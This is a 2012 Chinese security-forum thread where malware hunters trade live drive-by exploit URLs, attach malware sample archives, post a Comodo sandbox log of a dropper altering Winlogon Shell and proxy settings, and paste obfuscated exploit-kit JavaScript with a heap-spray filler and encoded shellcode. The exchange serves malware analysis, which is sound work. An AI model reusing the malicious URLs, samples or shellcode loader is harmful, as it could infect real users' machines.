2012-12-9 毒网一枚【loading……Hunters get up!】

firefox3

毒网：theirrim.tabbedbombarded.pro/ips_kernel/icons/WeBPLZ?BPMnB=65

nvsnsMtv.zip (84.04 KB, 下载次数: 829)

2012-12-9 17:37 上传

点击文件名下载附件

OOiajpb.zip (84.03 KB, 下载次数: 204)

2012-12-9 17:37 上传

点击文件名下载附件

https://www.virustotal.com/file/ ... nalysis/1355045890/

https://www.virustotal.com/file/ ... nalysis/1355045940/


comodo拦截截图:









comodo拦截记录：

2012-12-09 17:28:42         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         Sandbox中运行         部分限制
2012-12-09 17:28:43         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         Sandbox中运行         部分限制
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\All Users\Application Data\nvsnsMtv.exe
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改注册表项         HKUS\S-1-5-21-789336058-1708537768-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改注册表项         HKUS\S-1-5-21-789336058-1708537768-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改注册表项         HKUS\S-1-5-21-789336058-1708537768-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改注册表项         HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
2012-12-09 17:29:05         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Application Data\nvsnsMtv.exe
2012-12-09 17:29:24         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:29:26         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         访问COM接口, 可疑病毒         {4991D34B-80A1-4291-83B6-3328366B9097}
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         访问COM接口         {4991D34B-80A1-4291-83B6-3328366B9097}
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改注册表项         HKUS\S-1-5-21-789336058-1708537768-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         访问COM接口         {4991D34B-80A1-4291-83B6-3328366B9097}
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:30:10         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         访问COM接口         {4991D34B-80A1-4291-83B6-3328366B9097}
2012-12-09 17:30:23         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         修改文件         C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
2012-12-09 17:30:23         C:\Documents and Settings\Administrator\Application Data\OOiajpb.exe         访问COM接口         {4991D34B-80A1-4291-83B6-3328366B9097}
2012-12-09 17:31:08         C:\WINDOWS\explorer.exe         访问内存         C:\Program Files\COMODO\COMODO Internet Security\cfplogvw.exe
报告结束  


一部分记录哈，没时间，看截图吧

m220011

无法访问  已经失效

wjhstu-VxG

opendns: You tried to visit theirrim.tabbedbombarded.pro, which is not loading.

firefox3

wjhstu-VxG 发表于 2012-12-10 17:54
opendns: You tried to visit theirrim.tabbedbombarded.pro, which is not loading.

see.giftsthatlove.info/r/l/updating-bugs_keeping.php

你来这个，要是不行了我还有

wjhstu-VxG

firefox3 发表于 2012-12-10 17:58
see.giftsthatlove.info/r/l/updating-bugs_keeping.php

你来这个，要是不行了我还有

我x，您真是污泥堆里的……

firefox3

wjhstu-VxG 发表于 2012-12-10 17:59
我x，您真是污泥堆里的……

britishracingsystems.com/ngen/controlling/mydb.php

这个我回帖的时候试了试，可以，活的

wjhstu-VxG

see.giftsthatlove.info/r/l/updating-bugs_keeping.php

function getFillBytes(){var a='%'+'u'+'0c0c';return a+a}
                        zxczxc=function(){var a="8282#!51e1#!7134#!0485#!6085#!70e4#!70a5#!e474#!1464#!d460#!74e5#!c544#!0494#!b5c5#!e4c5#!f414#!d460#!b5d4#!7070#!8521#!c5c5#!8504#!2370#!15e1#!eee6#!3733#!2e2a#!59b1#!7492#!621a#!6d2a#!4c0b#!6662#!7d6a#!6d7d#!0c4b#!e702#!6d7d#!8224#!ce24#!82d5#!8a71#!2df6#!82d5#!8a71#!b3f6#!a23c#!423c#!babe#!e7c2#!b77d#!3c42#!82ba#!c224#!7de7#!82b7#!e324#!8ed5#!c3da#!7de7#!2482#!b7f7#!2482#!2482#!9697#!53c2#!0ac6#!c281#!2a9e#!8217#!5312#!eec6#!4444#!60c4#!53d2#!fec6#!a4c5#!f585#!5382#!fec6#!1e97#!0cb1#!423a#!7de7#!8282#!0d82#!b704#!b580#!8050#!c002#!fec6#!b1a1#!e5a5#!c0c2#!fec6#!f4b5#!a5d4#!c2c0#!42fe#!47c0#!825a#!9282#!4cc2#!a59a#!a23c#!7d3c#!7d7d#!0c94#!3a0c#!ce02#!e3ba#!c77d#!4454#!d5a5#!8204#!6482#!0474#!7dbc#!bed2#!83ba#!3a67#!3a4c#!87d7#!8e13#!87ba#!8282#!7d82#!8604#!8724#!8207#!8282#!0c82#!ac1d#!7d7d#!0b7d#!170c#!24d2#!3afd#!0402#!bd3a#!eb3c#!c5b2#!42b1#!8a55#!0480#!583a#!3cb7#!17be#!3867#!b2de#!c23a#!5f3a#!0fb2#!423a#!c7c0#!4c7d#!5ae6#!4236#!e43a#!b25f#!67c0#!673a#!d5ec#!3173#!3c9d#!2f86#!52b2#!9e3e#!c502#!01ad#!6983#!3f72#!deb1#!58b2#!964d#!1e16#!ddb1#!80b2#!3ae5#!dde7#!05b2#!c5d1#!413a#!3ad5#!97e7#!3c46#!971c#!ccd5#!c0da#!fac1#!d53d#!11e2#!bee6#!8681#!093a#!7d7d#!d383#!9a6c#!b140#!b2c5#!6741#!e43a#!b13f#!e502#!e73a#!8543#!423a#!3a86#!8681#!c43a#!b18e#!1c77#!d5c1#!dacc#!ffff#!beff#!508e#!afbe#!042e#!0382#!ef08#!9e45#!6618#!139c#!0185#!cfbe#!4ecf#!6638#!1414#!1414#!"["split"]("").reverse().join("");return a["replace"](/\!#/g,"%"+"u")};
                        getShellCode=zxczxc;

做个记录吧，这个shellcode貌似常规无法解，可能是有替换的缘故，到时候叉叉代码……

firefox3

wjhstu-VxG 发表于 2012-12-10 18:57
see.giftsthatlove.info/r/l/updating-bugs_keeping.php

function getFillBytes(){var a='%'+'u'+'0c0c' ...

process.hotelcesenaticonline.info/r/l/updating-bugs_keeping.php

wjhstu-VxG

firefox3 发表于 2012-12-10 19:06
process.hotelcesenaticonline.info/r/l/updating-bugs_keeping.php

这两个一致吗？……你给的都是高难度的，小白表示慢慢来……

对了，你是怎么解的？

wjhstu-VxG

firefox3 发表于 2012-12-10 19:06
process.hotelcesenaticonline.info/r/l/updating-bugs_keeping.php

害得我一晚的好心情没有了，弄了一个多小时！！该当何罪！！！